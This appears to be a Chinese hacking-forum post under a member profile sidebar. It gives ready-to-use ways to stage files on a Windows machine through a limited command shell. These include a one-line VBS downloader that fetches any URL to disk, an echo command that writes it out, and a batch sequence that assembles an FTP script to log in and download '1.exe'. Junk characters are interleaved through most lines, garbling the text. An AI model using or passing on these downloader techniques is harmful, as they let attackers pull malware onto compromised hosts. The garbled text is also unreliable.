- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法:
7 ?8 ^' d7 u- U0 q" k# H3 V \1.iget.vbs一次写入
; }, @1 f: A0 `, k q在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
+ {1 G' X, c3 a7 @0 R2 n
7 T0 H! S" F6 E- Q' f5 @Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 7 d' x4 g2 L: |4 ^9 o8 W
' O( l( o+ w, \! s这样我们可以一次echo成功,echo版本:
8 ]/ {9 [& S9 ]0 V$ R5 j X, k- r; P, y1 C" L- [ a
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs 5 ^, }- ~' q' ]0 `3 Q! k) [
4 K! U% i% G1 s' P/ K( ^
6 c. S% R0 u" {9 ^1 T, Y8 x+ U* [2.bat调用ftp脚本的写法(by envymask) / M; H* N1 k5 ` S K: e4 f" W) v
; v+ n/ F; |% l* H5 gecho ftp>1.vbs
8 H" i' O I t1 _: H' eecho open ip>2.vbs
) s& L- @1 H5 B- q4 W8 n* X% V. i* W0 Oecho u>3.vbs 2 l# {" g, l; }% C" ]) p% v0 l
echo s>4.vbs ' J: d! k! v5 V- w! ]
echo binary>5.vbs / @0 h- D' `" a$ b x
echo get 1.exe>6.vbs
; C, E1 a/ q' h2 G4 S8 r2 necho bay>7.vbs 3 p2 W5 w+ U8 H5 Q; F
6 t) ]+ _& D0 B% l
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs ! x1 `) v7 D; b$ P3 w) b
</P> |
zan
|